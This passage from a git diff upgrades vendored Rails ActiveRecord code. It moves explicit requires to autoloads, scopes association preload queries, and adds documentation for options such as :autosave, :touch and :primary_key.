@@ -31,51 +31,54 @@ rescue LoadError
   end
 end
 
-require 'active_record/base'
-require 'active_record/named_scope'
-require 'active_record/observer'
-require 'active_record/query_cache'
-require 'active_record/validations'
-require 'active_record/callbacks'
-require 'active_record/reflection'
-require 'active_record/associations'
-require 'active_record/association_preload'
-require 'active_record/aggregations'
-require 'active_record/transactions'
-require 'active_record/timestamp'
-require 'active_record/locking/optimistic'
-require 'active_record/locking/pessimistic'
-require 'active_record/migration'
-require 'active_record/schema'
-require 'active_record/calculations'
-require 'active_record/serialization'
-require 'active_record/attribute_methods'
-require 'active_record/dirty'
-require 'active_record/dynamic_finder_match'
+module ActiveRecord
+  # TODO: Review explicit loads to see if they will automatically be handled by the initilizer.
+  def self.load_all!
+    [Base, DynamicFinderMatch, ConnectionAdapters::AbstractAdapter]
+  end
 
-ActiveRecord::Base.class_eval do
-  extend ActiveRecord::QueryCache
-  include ActiveRecord::Validations
-  include ActiveRecord::Locking::Optimistic
-  include ActiveRecord::Locking::Pessimistic
-  include ActiveRecord::AttributeMethods
-  include ActiveRecord::Dirty
-  include ActiveRecord::Callbacks
-  include ActiveRecord::Observing
-  include ActiveRecord::Timestamp
-  include ActiveRecord::Associations
-  include ActiveRecord::NamedScope
-  include ActiveRecord::AssociationPreload
-  include ActiveRecord::Aggregations
-  include ActiveRecord::Transactions
-  include ActiveRecord::Reflection
-  include ActiveRecord::Calculations
-  include ActiveRecord::Serialization
+  autoload :VERSION, 'active_record/version'
+
+  autoload :ActiveRecordError, 'active_record/base'
+  autoload :ConnectionNotEstablished, 'active_record/base'
+
+  autoload :Aggregations, 'active_record/aggregations'
+  autoload :AssociationPreload, 'active_record/association_preload'
+  autoload :Associations, 'active_record/associations'
+  autoload :AttributeMethods, 'active_record/attribute_methods'
+  autoload :AutosaveAssociation, 'active_record/autosave_association'
+  autoload :Base, 'active_record/base'
+  autoload :Batches, 'active_record/batches'
+  autoload :Calculations, 'active_record/calculations'
+  autoload :Callbacks, 'active_record/callbacks'
+  autoload :Dirty, 'active_record/dirty'
+  autoload :DynamicFinderMatch, 'active_record/dynamic_finder_match'
+  autoload :DynamicScopeMatch, 'active_record/dynamic_scope_match'
+  autoload :Migration, 'active_record/migration'
+  autoload :Migrator, 'active_record/migration'
+  autoload :NamedScope, 'active_record/named_scope'
+  autoload :NestedAttributes, 'active_record/nested_attributes'
+  autoload :Observing, 'active_record/observer'
+  autoload :QueryCache, 'active_record/query_cache'
+  autoload :Reflection, 'active_record/reflection'
+  autoload :Schema, 'active_record/schema'
+  autoload :SchemaDumper, 'active_record/schema_dumper'
+  autoload :Serialization, 'active_record/serialization'
+  autoload :SessionStore, 'active_record/session_store'
+  autoload :TestCase, 'active_record/test_case'
+  autoload :Timestamp, 'active_record/timestamp'
+  autoload :Transactions, 'active_record/transactions'
+  autoload :Validations, 'active_record/validations'
+
+  module Locking
+    autoload :Optimistic, 'active_record/locking/optimistic'
+    autoload :Pessimistic, 'active_record/locking/pessimistic'
+  end
+
+  module ConnectionAdapters
+    autoload :AbstractAdapter, 'active_record/connection_adapters/abstract_adapter'
+  end
 end
 
-require 'active_record/connection_adapters/abstract_adapter'
-
-require 'active_record/schema_dumper'
-
 require 'active_record/i18n_interpolation_deprecation'
 I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
diff --git a/vendor/rails/activerecord/lib/active_record/association_preload.rb b/vendor/rails/activerecord/lib/active_record/association_preload.rb
index 69300e5c..e4ab69aa 100644
--- a/vendor/rails/activerecord/lib/active_record/association_preload.rb
+++ b/vendor/rails/activerecord/lib/active_record/association_preload.rb
@@ -43,7 +43,7 @@ module ActiveRecord
     # loading in a more high-level (application developer-friendly) manner.
     module ClassMethods
       protected
-      
+
       # Eager loads the named associations for the given ActiveRecord record(s).
       #
       # In this description, 'association name' shall refer to the name passed
@@ -94,8 +94,8 @@ module ActiveRecord
             raise "parent must be an association name" unless parent.is_a?(String) || parent.is_a?(Symbol)
             preload_associations(records, parent, preload_options)
             reflection = reflections[parent]
-            parents = records.map {|record| record.send(reflection.name)}.flatten
-            unless parents.empty? || parents.first.nil?
+            parents = records.map {|record| record.send(reflection.name)}.flatten.compact
+            unless parents.empty?
               parents.first.class.preload_associations(parents, child)
             end
           end
@@ -113,7 +113,7 @@ module ActiveRecord
         # unnecessarily
         records.group_by {|record| class_to_reflection[record.class] ||= record.class.reflections[association]}.each do |reflection, records|
           raise ConfigurationError, "Association named '#{ association }' was not found; perhaps you misspelled it?" unless reflection
-          
+
           # 'reflection.macro' can return 'belongs_to', 'has_many', etc. Thus,
           # the following could call 'preload_belongs_to_association',
           # 'preload_has_many_association', etc.
@@ -128,7 +128,7 @@ module ActiveRecord
           association_proxy.target.push(*[associated_record].flatten)
         end
       end
-      
+
       def add_preloaded_record_to_collection(parent_records, reflection_name, associated_record)
         parent_records.each do |parent_record|
           parent_record.send("set_#{reflection_name}_target", associated_record)
@@ -183,18 +183,19 @@ module ActiveRecord
         conditions = "t0.#{reflection.primary_key_name} #{in_or_equals_for_ids(ids)}"
         conditions << append_conditions(reflection, preload_options)
 
-        associated_records = reflection.klass.find(:all, :conditions => [conditions, ids],
-        :include => options[:include],
-        :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} as t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
-        :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
-        :order => options[:order])
-
+        associated_records = reflection.klass.with_exclusive_scope do
+          reflection.klass.find(:all, :conditions => [conditions, ids],
+            :include => options[:include],
+            :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
+            :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
+            :order => options[:order])
+        end
         set_association_collection_records(id_to_record_map, reflection.name, associated_records, 'the_parent_record_id')
       end
 
       def preload_has_one_association(records, reflection, preload_options={})
         return if records.first.send("loaded_#{reflection.name}?")
-        id_to_record_map, ids = construct_id_map(records)        
+        id_to_record_map, ids = construct_id_map(records, reflection.options[:primary_key])
         options = reflection.options
         records.each {|record| record.send("set_#{reflection.name}_target", nil)}
         if options[:through]
@@ -204,9 +205,18 @@ module ActiveRecord
           unless through_records.empty?
             source = reflection.source_reflection.name
             through_records.first.class.preload_associations(through_records, source)
-            through_records.each do |through_record|
-              add_preloaded_record_to_collection(id_to_record_map[through_record[through_primary_key].to_s],
-                                                 reflection.name, through_record.send(source))
+            if through_reflection.macro == :belongs_to
+              rev_id_to_record_map, rev_ids = construct_id_map(records, through_primary_key)
+              rev_primary_key = through_reflection.klass.primary_key
+              through_records.each do |through_record|
+                add_preloaded_record_to_collection(rev_id_to_record_map[through_record[rev_primary_key].to_s],
+                                                   reflection.name, through_record.send(source))
+              end
+            else
+              through_records.each do |through_record|
+                add_preloaded_record_to_collection(id_to_record_map[through_record[through_primary_key].to_s],
+                                                   reflection.name, through_record.send(source))
+              end
             end
           end
         else
@@ -219,7 +229,7 @@ module ActiveRecord
         options = reflection.options
 
         primary_key_name = reflection.through_reflection_primary_key_name
-        id_to_record_map, ids = construct_id_map(records, primary_key_name)
+        id_to_record_map, ids = construct_id_map(records, primary_key_name || reflection.options[:primary_key])
         records.each {|record| record.send(reflection.name).loaded}
 
         if options[:through]
@@ -239,7 +249,7 @@ module ActiveRecord
                                              reflection.primary_key_name)
         end
       end
-      
+
       def preload_through_records(records, reflection, through_association)
         through_reflection = reflections[through_association]
         through_primary_key = through_reflection.primary_key_name
@@ -307,6 +317,7 @@ module ActiveRecord
 
         klasses_and_ids.each do |klass_and_id|
           klass_name, id_map = *klass_and_id
+          next if id_map.empty?
           klass = klass_name.constantize
 
           table_name = klass.quoted_table_name
@@ -323,11 +334,13 @@ module ActiveRecord
           end
           conditions = "#{table_name}.#{connection.quote_column_name(primary_key)} #{in_or_equals_for_ids(ids)}"
           conditions << append_conditions(reflection, preload_options)
-          associated_records = klass.find(:all, :conditions => [conditions, ids],
+          associated_records = klass.with_exclusive_scope do
+            klass.find(:all, :conditions => [conditions, ids],
                                           :include => options[:include],
                                           :select => options[:select],
                                           :joins => options[:joins],
                                           :order => options[:order])
+          end
           set_association_single_records(id_map, reflection.name, associated_records, primary_key)
         end
       end
@@ -345,13 +358,15 @@ module ActiveRecord
 
         conditions << append_conditions(reflection, preload_options)
 
-        reflection.klass.find(:all,
+        reflection.klass.with_exclusive_scope do
+          reflection.klass.find(:all,
                               :select => (preload_options[:select] || options[:select] || "#{table_name}.*"),
                               :include => preload_options[:include] || options[:include],
                               :conditions => [conditions, ids],
                               :joins => options[:joins],
                               :group => preload_options[:group] || options[:group],
                               :order => preload_options[:order] || options[:order])
+        end
       end
 
 
diff --git a/vendor/rails/activerecord/lib/active_record/associations.rb b/vendor/rails/activerecord/lib/active_record/associations.rb
index 7f781911..0a612e0d 100755
--- a/vendor/rails/activerecord/lib/active_record/associations.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations.rb
@@ -1,13 +1,3 @@
-require 'active_record/associations/association_proxy'
-require 'active_record/associations/association_collection'
-require 'active_record/associations/belongs_to_association'
-require 'active_record/associations/belongs_to_polymorphic_association'
-require 'active_record/associations/has_one_association'
-require 'active_record/associations/has_many_association'
-require 'active_record/associations/has_many_through_association'
-require 'active_record/associations/has_and_belongs_to_many_association'
-require 'active_record/associations/has_one_through_association'
-
 module ActiveRecord
   class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
     def initialize(owner_class_name, reflection)
@@ -32,7 +22,7 @@ module ActiveRecord
       through_reflection      = reflection.through_reflection
       source_reflection_names = reflection.source_reflection_names
       source_associations     = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
-      super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :connector => 'or'} in model #{through_reflection.klass}.  Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'.  Is it one of #{source_associations.to_sentence :connector => 'or'}?")
+      super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}.  Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'.  Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
     end
   end
 
@@ -44,11 +34,13 @@ module ActiveRecord
     end
   end
 
-  class HasManyThroughCantAssociateThroughHasManyReflection < ActiveRecordError #:nodoc:
+  class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc:
     def initialize(owner, reflection)
       super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
     end
   end
+  HasManyThroughCantAssociateThroughHasManyReflection = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection', 'ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection')
+
   class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
     def initialize(owner, reflection)
       super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
@@ -61,6 +53,12 @@ module ActiveRecord
     end
   end
 
+  class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
+    def initialize(reflection)
+      super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
+    end
+  end
+
   class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
     def initialize(reflection)
       super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
@@ -75,6 +73,18 @@ module ActiveRecord
 
   # See ActiveRecord::Associations::ClassMethods for documentation.
   module Associations # :nodoc:
+    # These classes will be loaded when associations are created.
+    # So there is no need to eager load them.
+    autoload :AssociationCollection, 'active_record/associations/association_collection'
+    autoload :AssociationProxy, 'active_record/associations/association_proxy'
+    autoload :BelongsToAssociation, 'active_record/associations/belongs_to_association'
+    autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
+    autoload :HasAndBelongsToManyAssociation, 'active_record/associations/has_and_belongs_to_many_association'
+    autoload :HasManyAssociation, 'active_record/associations/has_many_association'
+    autoload :HasManyThroughAssociation, 'active_record/associations/has_many_through_association'
+    autoload :HasOneAssociation, 'active_record/associations/has_one_association'
+    autoload :HasOneThroughAssociation, 'active_record/associations/has_one_through_association'
+
     def self.included(base)
       base.extend(ClassMethods)
     end
@@ -86,6 +96,18 @@ module ActiveRecord
       end unless self.new_record?
     end
 
+    private
+      # Gets the specified association instance if it responds to :loaded?, nil otherwise.
+      def association_instance_get(name)
+        association = instance_variable_get("@#{name}")
+        association if association.respond_to?(:loaded?)
+      end
+
+      # Set the specified association instance.
+      def association_instance_set(name, association)
+        instance_variable_set("@#{name}", association)
+      end
+
     # Associations are a set of macro-like class methods for tying objects together through foreign keys. They express relationships like
     # "Project has one Project Manager" or "Project belongs to a Portfolio". Each macro adds a number of methods to the class which are
     # specialized according to the collection or association symbol and the options hash. It works much the same way as Ruby's own <tt>attr*</tt>
@@ -119,41 +141,40 @@ module ActiveRecord
     #                                     |            |  belongs_to  |
     #   generated methods                 | belongs_to | :polymorphic | has_one
     #   ----------------------------------+------------+--------------+---------
-    #   #other                            |     X      |      X       |    X
-    #   #other=(other)                    |     X      |      X       |    X
-    #   #build_other(attributes={})       |     X      |              |    X
-    #   #create_other(attributes={})      |     X      |              |    X
-    #   #other.create!(attributes={})     |            |              |    X
-    #   #other.nil?                       |     X      |      X       |
+    #   other                             |     X      |      X       |    X
+    #   other=(other)                     |     X      |      X       |    X
+    #   build_other(attributes={})        |     X      |              |    X
+    #   create_other(attributes={})       |     X      |              |    X
+    #   other.create!(attributes={})      |            |              |    X
     #
     # ===Collection associations (one-to-many / many-to-many)
     #                                     |       |          | has_many
     #   generated methods                 | habtm | has_many | :through
     #   ----------------------------------+-------+----------+----------
-    #   #others                           |   X   |    X     |    X
-    #   #others=(other,other,...)         |   X   |    X     |    X
-    #   #other_ids                        |   X   |    X     |    X
-    #   #other_ids=(id,id,...)            |   X   |    X     |    X
-    #   #others<<                         |   X   |    X     |    X
-    #   #others.push                      |   X   |    X     |    X
-    #   #others.concat                    |   X   |    X     |    X
-    #   #others.build(attributes={})      |   X   |    X     |    X
-    #   #others.create(attributes={})     |   X   |    X     |    X
-    #   #others.create!(attributes={})    |   X   |    X     |    X
-    #   #others.size                      |   X   |    X     |    X
-    #   #others.length                    |   X   |    X     |    X
-    #   #others.count                     |   X   |    X     |    X
-    #   #others.sum(args*,&block)         |   X   |    X     |    X
-    #   #others.empty?                    |   X   |    X     |    X
-    #   #others.clear                     |   X   |    X     |    X
-    #   #others.delete(other,other,...)   |   X   |    X     |    X
-    #   #others.delete_all                |   X   |    X     |
-    #   #others.destroy_all               |   X   |    X     |    X
-    #   #others.find(*args)               |   X   |    X     |    X
-    #   #others.find_first                |   X   |          |
-    #   #others.exist?                    |   X   |    X     |    X
-    #   #others.uniq                      |   X   |    X     |    X
-    #   #others.reset                     |   X   |    X     |    X
+    #   others                            |   X   |    X     |    X
+    #   others=(other,other,...)          |   X   |    X     |    X
+    #   other_ids                         |   X   |    X     |    X
+    #   other_ids=(id,id,...)             |   X   |    X     |    X
+    #   others<<                          |   X   |    X     |    X
+    #   others.push                       |   X   |    X     |    X
+    #   others.concat                     |   X   |    X     |    X
+    #   others.build(attributes={})       |   X   |    X     |    X
+    #   others.create(attributes={})      |   X   |    X     |    X
+    #   others.create!(attributes={})     |   X   |    X     |    X
+    #   others.size                       |   X   |    X     |    X
+    #   others.length                     |   X   |    X     |    X
+    #   others.count                      |   X   |    X     |    X
+    #   others.sum(args*,&block)          |   X   |    X     |    X
+    #   others.empty?                     |   X   |    X     |    X
+    #   others.clear                      |   X   |    X     |    X
+    #   others.delete(other,other,...)    |   X   |    X     |    X
+    #   others.delete_all                 |   X   |    X     |
+    #   others.destroy_all                |   X   |    X     |    X
+    #   others.find(*args)                |   X   |    X     |    X
+    #   others.find_first                 |   X   |          |
+    #   others.exists?                    |   X   |    X     |    X
+    #   others.uniq                       |   X   |    X     |    X
+    #   others.reset                      |   X   |    X     |    X
     #
     # == Cardinality and associations
     #
@@ -254,6 +275,11 @@ module ActiveRecord
     # You can manipulate objects and associations before they are saved to the database, but there is some special behavior you should be
     # aware of, mostly involving the saving of associated objects.
     #
+    # Unless you set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+    # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
+    # to +true+ will _always_ save the members, whereas setting it to +false+ will
+    # _never_ save the members.
+    #
     # === One-to-one associations
     #
     # * Assigning an object to a +has_one+ association automatically saves that object and the object being replaced (if there is one), in
@@ -387,6 +413,32 @@ module ActiveRecord
     #   @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
     #   @firm.invoices                                   # selects all invoices by going through the Client join model.
     #
+    # Similarly you can go through a +has_one+ association on the join model:
+    #
+    #   class Group < ActiveRecord::Base
+    #     has_many   :users
+    #     has_many   :avatars, :through => :users
+    #   end
+    #
+    #   class User < ActiveRecord::Base
+    #     belongs_to :group
+    #     has_one    :avatar
+    #   end
+    #
+    #   class Avatar < ActiveRecord::Base
+    #     belongs_to :user
+    #   end
+    #
+    #   @group = Group.first
+    #   @group.users.collect { |u| u.avatar }.flatten # select all avatars for all users in the group
+    #   @group.avatars                                # selects all avatars by going through the User join model.
+    #
+    # An important caveat with going through +has_one+ or +has_many+ associations on the join model is that these associations are 
+    # *read-only*.  For example, the following would not work following the previous example:
+    #
+    #   @group.avatars << Avatar.new                # this would work if User belonged_to Avatar rather than the other way around.
+    #   @group.avatars.delete(@group.avatars.last)  # so would this
+    #
     # === Polymorphic Associations
     #
     # Polymorphic associations on models are not restricted on what types of models they can be associated with.  Rather, they
@@ -650,7 +702,7 @@ module ActiveRecord
       #   Returns the number of associated objects.
       # [collection.find(...)]
       #   Finds an associated object according to the same rules as ActiveRecord::Base.find.
-      # [collection.exist?(...)]
+      # [collection.exists?(...)]
       #   Checks whether an associated object with the given conditions exists.
       #   Uses the same rules as ActiveRecord::Base.exists?.
       # [collection.build(attributes = {}, ...)]
@@ -680,7 +732,7 @@ module ActiveRecord
       # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
       # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
       # * <tt>Firm#clients.find</tt> (similar to <tt>Client.find(id, :conditions => "firm_id = #{id}")</tt>)
-      # * <tt>Firm#clients.exist?(:name => 'ACME')</tt> (similar to <tt>Client.exist?(:name => 'ACME', :firm_id => firm.id)</tt>)
+      # * <tt>Firm#clients.exists?(:name => 'ACME')</tt> (similar to <tt>Client.exists?(:name => 'ACME', :firm_id => firm.id)</tt>)
       # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
       # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
       # The declaration can also include an options hash to specialize the behavior of the association.
@@ -722,6 +774,8 @@ module ActiveRecord
       #   Specify second-order associations that should be eager loaded when the collection is loaded.
       # [:group]
       #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # [:having]
+      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
       # [:limit]
       #   An integer determining the limit on the number of rows that should be returned.
       # [:offset]
@@ -734,7 +788,7 @@ module ActiveRecord
       # [:through]
       #   Specifies a Join Model through which to perform the query.  Options for <tt>:class_name</tt> and <tt>:foreign_key</tt>
       #   are ignored, as the association uses the source reflection. You can only use a <tt>:through</tt> query through a <tt>belongs_to</tt>
-      #   or <tt>has_many</tt> association on the join model.
+      #   <tt>has_one</tt> or <tt>has_many</tt> association on the join model.
       # [:source]
       #   Specifies the source association name used by <tt>has_many :through</tt> queries.  Only use it if the name cannot be
       #   inferred from the association.  <tt>has_many :subscribers, :through => :subscriptions</tt> will look for either <tt>:subscribers</tt> or
@@ -748,6 +802,9 @@ module ActiveRecord
       #   If true, all the associated objects are readonly through the association.
       # [:validate]
       #   If false, don't validate the associated objects when saving the parent object. true by default.
+      # [:autosave]
+      #   If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
+      #
       # Option examples:
       #   has_many :comments, :order => "posted_on"
       #   has_many :comments, :include => :author
@@ -764,11 +821,7 @@ module ActiveRecord
       #       'ORDER BY p.first_name'
       def has_many(association_id, options = {}, &extension)
         reflection = create_has_many_reflection(association_id, options, &extension)
-
         configure_dependency_for_has_many(reflection)
-
-        add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
-        add_multiple_associated_save_callbacks(reflection.name)
         add_association_callbacks(reflection.name, reflection.options)
 
         if options[:through]
@@ -790,8 +843,6 @@ module ActiveRecord
       # [association=(associate)]
       #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
       #   and saves the associate object.
-      # [association.nil?]
-      #   Returns +true+ if there is no associated object.
       # [build_association(attributes = {})]
       #   Returns a new object of the associated type that has been instantiated
       #   with +attributes+ and linked to this object through a foreign key, but has not
@@ -810,7 +861,6 @@ module ActiveRecord
       # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
       # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.find(:first, :conditions => "account_id = #{id}")</tt>)
       # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
-      # * <tt>Account#beneficiary.nil?</tt>
       # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
       # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
       #
@@ -825,7 +875,9 @@ module ActiveRecord
       #   if the real class name is Person, you'll have to specify it with this option.
       # [:conditions]
       #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>rank = 5</tt>.
+      #   SQL fragment, such as <tt>rank = 5</tt>. Record creation from the association is scoped if a hash
+      #   is used. <tt>has_one :account, :conditions => {:enabled => true}</tt> will create an enabled account with <tt>@company.create_account</tt>
+      #   or <tt>@company.build_account</tt>.
       # [:order]
       #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
       #   such as <tt>last_name, first_name DESC</tt>.
@@ -853,14 +905,16 @@ module ActiveRecord
       # [:source]
       #   Specifies the source association name used by <tt>has_one :through</tt> queries.  Only use it if the name cannot be
       #   inferred from the association.  <tt>has_one :favorite, :through => :favorites</tt> will look for a
-      #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.      
+      #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
       # [:source_type]
       #   Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
-      #   association is a polymorphic +belongs_to+.      
+      #   association is a polymorphic +belongs_to+.
       # [:readonly]
       #   If true, the associated object is readonly through the association.
       # [:validate]
       #   If false, don't validate the associated object when saving the parent object. +false+ by default.
+      # [:autosave]
+      #   If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
       #
       # Option examples:
       #   has_one :credit_card, :dependent => :destroy  # destroys the associated credit card
@@ -877,25 +931,9 @@ module ActiveRecord
           association_accessor_methods(reflection, ActiveRecord::Associations::HasOneThroughAssociation)
         else
           reflection = create_has_one_reflection(association_id, options)
-
-          ivar = "@#{reflection.name}"
-
-          method_name = "has_one_after_save_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
-            if !association.nil? && (new_record? || association.new_record? || association[reflection.primary_key_name] != id)
-              association[reflection.primary_key_name] = id
-              association.save(true)
-            end
-          end
-          after_save method_name
-
-          add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
           association_accessor_methods(reflection, HasOneAssociation)
           association_constructor_method(:build,  reflection, HasOneAssociation)
           association_constructor_method(:create, reflection, HasOneAssociation)
-
           configure_dependency_for_has_one(reflection)
         end
       end
@@ -912,8 +950,6 @@ module ActiveRecord
       #   Returns the associated object. +nil+ is returned if none is found.
       # [association=(associate)]
       #   Assigns the associate object, extracts the primary key, and sets it as the foreign key.
-      # [association.nil?]
-      #   Returns +true+ if there is no associated object.
       # [build_association(attributes = {})]
       #   Returns a new object of the associated type that has been instantiated
       #   with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
@@ -931,7 +967,6 @@ module ActiveRecord
       # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
       # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
       # * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
-      # * <tt>Post#author.nil?</tt>
       # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
       # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
       # The declaration can also include an options hash to specialize the behavior of the association.
@@ -953,6 +988,8 @@ module ActiveRecord
       #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt> association will use
       #   "person_id" as the default <tt>:foreign_key</tt>. Similarly, <tt>belongs_to :favorite_person, :class_name => "Person"</tt>
       #   will use a foreign key of "favorite_person_id".
+      # [:primary_key]
+      #   Specify the method that returns the primary key of associated object used for the association. By default this is id.
       # [:dependent]
       #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
       #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. This option should not be specified when
@@ -975,87 +1012,36 @@ module ActiveRecord
       #   If true, the associated object is readonly through the association.
       # [:validate]
       #   If false, don't validate the associated objects when saving the parent object. +false+ by default.
+      # [:autosave]
+      #   If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
+      # [:touch]
+      #   If true, the associated object will be touched (the updated_at/on attributes set to now) when this record is either saved or
+      #   destroyed. If you specify a symbol, that attribute will be updated with the current time instead of the updated_at/on attribute.
       #
       # Option examples:
       #   belongs_to :firm, :foreign_key => "client_of"
+      #   belongs_to :person, :primary_key => "name", :foreign_key => "person_name"
       #   belongs_to :author, :class_name => "Person", :foreign_key => "author_id"
       #   belongs_to :valid_coupon, :class_name => "Coupon", :foreign_key => "coupon_id",
       #              :conditions => 'discounts > #{payments_count}'
       #   belongs_to :attachable, :polymorphic => true
       #   belongs_to :project, :readonly => true
       #   belongs_to :post, :counter_cache => true
+      #   belongs_to :company, :touch => true
+      #   belongs_to :company, :touch => :employees_last_updated_at
       def belongs_to(association_id, options = {})
         reflection = create_belongs_to_reflection(association_id, options)
 
-        ivar = "@#{reflection.name}"
-
         if reflection.options[:polymorphic]
           association_accessor_methods(reflection, BelongsToPolymorphicAssociation)
-
-          method_name = "polymorphic_belongs_to_before_save_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
-            if association && association.target
-              if association.new_record?
-                association.save(true)
-              end
-
-              if association.updated?
-                self[reflection.primary_key_name] = association.id
-                self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
-              end
-            end
-          end
-          before_save method_name
         else
           association_accessor_methods(reflection, BelongsToAssociation)
           association_constructor_method(:build,  reflection, BelongsToAssociation)
           association_constructor_method(:create, reflection, BelongsToAssociation)
-
-          method_name = "belongs_to_before_save_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
-            if !association.nil?
-              if association.new_record?
-                association.save(true)
-              end
-
-              if association.updated?
-                self[reflection.primary_key_name] = association.id
-              end
-            end
-          end
-          before_save method_name
         end
 
-        # Create the callbacks to update counter cache
-        if options[:counter_cache]
-          cache_column = options[:counter_cache] == true ?
-            "#{self.to_s.demodulize.underscore.pluralize}_count" :
-            options[:counter_cache]
-
-          method_name = "belongs_to_counter_cache_after_create_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = send(reflection.name)
-            association.class.increment_counter(cache_column, send(reflection.primary_key_name)) unless association.nil?
-          end
-          after_create method_name
-
-          method_name = "belongs_to_counter_cache_before_destroy_for_#{reflection.name}".to_sym
-          define_method(method_name) do
-            association = send(reflection.name)
-            association.class.decrement_counter(cache_column, send(reflection.primary_key_name)) unless association.nil?
-          end
-          before_destroy method_name
-
-          module_eval(
-            "#{reflection.class_name}.send(:attr_readonly,\"#{cache_column}\".intern) if defined?(#{reflection.class_name}) && #{reflection.class_name}.respond_to?(:attr_readonly)"
-          )
-        end
-
-        add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
+        add_counter_cache_callbacks(reflection)          if options[:counter_cache]
+        add_touch_callbacks(reflection, options[:touch]) if options[:touch]
 
         configure_dependency_for_belongs_to(reflection)
       end
@@ -1071,6 +1057,22 @@ module ActiveRecord
       # but it in fact generates a join table name of "paper_boxes_papers".  Be aware of this caveat, and use the
       # custom <tt>:join_table</tt> option if you need to.
       #
+      # The join table should not have a primary key or a model associated with it. You must manually generate the
+      # join table with a migration such as this:
+      #
+      #   class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
+      #     def self.up
